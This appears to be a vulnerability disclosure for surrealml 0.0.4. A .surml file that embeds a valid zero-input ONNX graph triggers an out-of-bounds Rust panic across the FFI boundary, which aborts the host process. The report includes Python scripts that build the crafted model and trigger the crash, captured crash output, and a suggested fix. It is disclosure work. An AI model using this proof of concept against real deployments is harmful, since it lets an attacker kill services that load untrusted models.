YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
SurrealML .surml inference β embedded zero-input ONNX graph β session.inputs[0] index-out-of-bounds panic crossing extern "C" β process abort (SIGABRT / DoS)
Target: surrealml (SurrealDB's ML model file format + inference wrapper)
- Python package:
surrealml==0.0.4(PyPI, prebuilt wheel with bundledlibc_wrapper.so) - Rust core:
surrealml-coreβmodules/core/src/execution/compute.rs - Upstream repo: https://github.com/surrealdb/surrealml
- Verified against the real released PyPI wheel and its bundled prebuilt
libc_wrapper.so(exportsload_model/raw_compute/buffered_compute; onnxruntime statically linked in).
Impact: Denial of Service β uncatchable whole-process abort (SIGABRT). Any consumer (SurrealDB, or any application using the official Python surrealml client) that loads an attacker-supplied .surml file and runs a single prediction is killed. A Python try/except around the call cannot save the host: the panic is raised on a thread executing across the extern "C" FFI boundary, so the unwind cannot cross the C frame and the runtime aborts the entire process.
Root cause
modules/core/src/execution/compute.rs, in ModelComputation::process_input_dims():
// compute.rs:44
let unwrapped_dims = match &session_ref.inputs[0].input_type {
// ^^^ unconditional [0] index
...
};
session_ref.inputs is the input list of the loaded onnxruntime Session. The code
unconditionally indexes element [0], assuming every model has at least one graph input.
The .surml loader (SurMlFile::from_file) stores the embedded ONNX model blob verbatim
and never inspects its graph. The blob is only handed to onnxruntime at inference time inside
raw_compute() / buffered_compute(). If the embedded ONNX model is a structurally valid
graph that declares zero graph inputs β e.g. a graph whose single output is produced by a
Constant node β then:
onnx.checker.check_modelpasses (it is a legal ONNX graph).- onnxruntime loads it without error β
load_modelreturns success (is_error = 0). session.inputsis an empty slice, soinputs[0]panics:index out of bounds: the len is 0 but the index is 0.- The panic occurs on a thread running across the
extern "C"boundary of the c-wrapper. The unwind cannot cross the C frame βfatal runtime error: failed to initiate panic, error 5β the process is aborted withSIGABRT(exit 134 = 128 + 6).
Because the file passes all .surml header validation and load_model succeeds, the crash
is specifically the empty-session.inputs condition at inference time, not malformed bytes
or a rejected header.
Proof of Concept
Two .surml files are built with the identical wrapper. Both use the SurMlFile container
layout [4-byte big-endian header length][header][ONNX blob] with a minimal valid header
(nine //=> delimiter tokens; header length 0x24 = 36 bytes).
attack.surml(120 bytes): embedsattack.onnxβmake_graph([Constant β "y"], inputs=[], outputs=[float[2]]).onnx.checker.check_modelpasses;graph.inputcount = 0.ctrl.surml(108 bytes, negative control): embedsctrl.onnxβ oneIdentitynode;graph.inputcount = 1.
The runner (run.py) drives the library exactly like the official client
(surrealml.loader.LibLoader β lib.load_model β lib.raw_compute), each file in its own
subprocess.
Build (mk.py, uses onnx)
import onnx, struct, os
from onnx import helper, TensorProto
def wrap(onnx_bytes):
# SurMlFile format: [4-byte BE header length][header][onnx blob]
header = "//=>//=>//=>//=>//=>//=>//=>//=>//=>".encode("utf-8")
return struct.pack(">I", len(header)) + header + onnx_bytes
# NEGATIVE CONTROL: graph with exactly ONE input (Identity)
inp = helper.make_tensor_value_info("x", TensorProto.FLOAT, [2])
outp = helper.make_tensor_value_info("y", TensorProto.FLOAT, [2])
g = helper.make_graph([helper.make_node("Identity", ["x"], ["y"])], "ctrl", [inp], [outp])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)]); m.ir_version = 9
onnx.checker.check_model(m)
open("ctrl.surml", "wb").write(wrap(m.SerializeToString()))
# ATTACK: valid graph with ZERO inputs (Constant produces the output)
cval = helper.make_tensor("cv", TensorProto.FLOAT, [2], [3.0, 4.0])
cnode = helper.make_node("Constant", [], ["y"], value=cval)
outp2 = helper.make_tensor_value_info("y", TensorProto.FLOAT, [2])
g2 = helper.make_graph([cnode], "zero", [], [outp2])
m2 = helper.make_model(g2, opset_imports=[helper.make_opsetid("", 13)]); m2.ir_version = 9
onnx.checker.check_model(m2) # PASSES -> structurally valid ONNX
open("attack.surml", "wb").write(wrap(m2.SerializeToString()))
Run (run.py)
import sys, ctypes
from surrealml.loader import LibLoader
from surrealml.c_structs import FileInfo, Vecf32Return
path = sys.argv[1]; n = int(sys.argv[2]) if len(sys.argv) > 2 else 2
loader = LibLoader() # runs link_onnx() internally, like the official client
info: FileInfo = loader.lib.load_model(path.encode("utf-8"))
if info.is_error == 1:
print("load_model ERROR:", info.error_message.decode()); sys.exit(2)
file_id = info.file_id.decode(); loader.lib.free_file_info(info)
data = (ctypes.c_float * n)(*[1.0] * n)
out: Vecf32Return = loader.lib.raw_compute(file_id.encode("utf-8"), data, n)
if out.is_error == 1:
print("raw_compute graceful ERROR:", out.error_message.decode()); sys.exit(3)
print("raw_compute OK output:", [out.data[i] for i in range(out.length)]); sys.exit(0)
Captured evidence (verbatim, real execution against surrealml==0.0.4)
=== graph input counts ===
CTRL graph.input count = 1 onnx bytes = 68
ATTACK graph.input count = 0 onnx bytes = 80 checker=PASS
### NEGATIVE CONTROL (normal 1-input model)
[run] loading ctrl.surml
[run] load_model OK file_id=61438cbd-55ad-49ea-b547-c9d232c3b0c6 name='' ver=''
[run] calling raw_compute with 2 floats ...
[run] raw_compute OK output: [1.0, 1.0]
ctrl.surml exit=0
### ATTACK (zero-input model)
[run] loading attack.surml
[run] load_model OK file_id=18f15859-3b98-4eed-8088-7b6d04117949 name='' ver=''
[run] calling raw_compute with 2 floats ...
thread '<unnamed>' panicked at modules/core/src/execution/compute.rs:44:50:
index out of bounds: the len is 0 but the index is 0
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
fatal runtime error: failed to initiate panic, error 5
attack.surml exit=134
- Control: zero-input assumption satisfied β
load_modelOK βraw_computeOK β output[1.0, 1.0](Identity echoes the input) β exit 0. - Attack: file passes ALL header validation,
load_modelsucceeds (is_error=0), thenraw_computepanics atcompute.rs:44βSIGABRTβ exit 134 (128 + SIGABRT).
Both files load cleanly (the loader raises no error); only the inference call on the
zero-input blob aborts β proving the crash is specifically the empty-session.inputs condition,
not malformed bytes. Reproduces deterministically.
Source confirmed
compute.rs:44: let unwrapped_dims = match &session_ref.inputs[0].input_type {
graph.input counts: attack = 0, control = 1.
Suggested fix
Bounds-check session.inputs before indexing and return a graceful SurrealError
(propagated across the FFI as is_error = 1) instead of panicking:
let first = session_ref.inputs.first()
.ok_or_else(|| SurrealError::new(
"model declares zero inputs".to_string(), SurrealErrorStatus::BadInput))?;
let unwrapped_dims = match &first.input_type { ... };
More broadly, no Rust panic should be allowed to unwind across the extern "C" boundary in the
c-wrapper β the raw_compute / buffered_compute entry points should wrap their bodies in
std::panic::catch_unwind and convert any panic into a returned error struct, so a single
malformed/edge-case model cannot abort the entire host process.
Deduplication note
This is distinct from prior SurrealML .surml findings:
surrealml-inputdims-panic-poc/ header panics: aparse::<i32>().unwrap()panic inmodules/core/src/storage/header/input_dims.rs(InputDims::from_string) triggered while parsing the.surmlheader β crashes atloadtime on malformed header bytes.huntr-poc-surml-ffi-nul-abort: an FFI/NUL-related abort.
This finding is different: the .surml file is entirely well-formed and passes all
header validation; load_model succeeds. The crash is an index-out-of-bounds panic at
compute.rs:44 triggered at inference time by the embedded ONNX graph declaring zero
inputs β an empty session.inputs slice indexed with [0]. Different file (compute.rs vs
input_dims.rs), different trigger (valid zero-input graph vs malformed header), different
lifecycle stage (inference vs load). No known CVE covers this at time of writing.